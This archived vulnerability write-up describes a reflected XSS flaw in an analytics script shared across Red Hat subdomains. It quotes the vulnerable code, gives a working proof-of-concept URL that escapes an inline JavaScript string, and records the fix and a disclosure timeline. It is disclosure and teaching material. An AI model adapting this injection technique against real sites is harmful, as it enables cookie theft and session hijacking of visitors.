Write-up: Reflected XSS across Red Hat subdomains

Archived article from 17 November 2012. Its content reflects the state of things at the time. Reconstructed from the web archive of secalert.net - view the original.

Summary. An Omniture analytics script deployed across *.redhat.com built its page-name variable from window.location and wrote it into an inline script block without escaping. A path crafted to close the string and open a new statement executed in the context of the affected subdomain, and because the script was shared, the issue reached every subdomain under redhat.com. Reported in November 2012, confirmed and fixed, with an acknowledgement on Red Hat's online-services page.

Background

I have been researching analytics and tracking scripts on a number of major websites. During that work I found an issue that affected all subdomains running under *.redhat.com.

Red Hat used a tracking script (Omniture) to record user behaviour.

source code analysis, embedded JavaScript
Line 24: if (typeof(analyticsPageName) != 'undefined') {

Line 25:   s.pageName="avalon|"+analyticsPageName;

Line 26: } else if (typeof(Drupal) != 'undefined') {

Line 27:   s.pageName="avalon|"+Drupal.settings.omniturePageName;

Line 28: } else {

Line 29:   s.pageName="avalon|other|"+window.location.pathname;

Line 30: }

The script read window.location.pathname and window.location.href in various parts of the site.

further reads from window.location

Line 47:var minorSection = siteMapState.split("/")[0];

...

Line 58: s.eVar23=window.location.href;

...

Finding the sink

After reviewing these scripts, I tried the following:

https://access.redhat.com/knowledge/tags/@secalert
Line 82: <!--//--><![CDATA[//><!--

Line 83: var analyticsPageName = "|tags/@secalert"

Line 84: //--><!]]>

The path segment landed directly inside the double-quoted analyticsPageName assignment, confirming that user-supplied values were inserted into the rendered HTML without any escaping.

Proof of concept

From there I arrived at the following working proof of concept.

proof of concept
https://access.redhat.com/knowledge/tags/%22;alert%28/@secalert/%29;%3C!--

In the page source this rendered as:

rendered page source
Line 82: <!--//--><![CDATA[//><!--

Line 83: var analyticsPageName = "|tags/";alert(/@secalert/);"

Line 84: //--><!]]>

The encoded double quote closed the string, the comment opener swallowed the trailing quote, and the injected statement ran.

Impact and remediation

Because the same analytics script shipped on every subdomain, a single reflected path turned into script execution anywhere under redhat.com, enough to read cookies or act in a visitor's session on the affected origin. The fix is to encode request-derived values for the JavaScript-string context they are written into, rather than concatenating a raw path into an inline script block.

Timeline

timeline
November 8th 2012: vulnerability found and Red Hat contacted (secalert@redhat.com)
November 8th 2012: Red Hat confirmed the reported issue
November 15th 2012: the issue was fixed by Red Hat
November 16th 2012: Red Hat added me to their Vulnerability Acknowledgements for Red Hat online services page
November 18th 2012: this write-up was published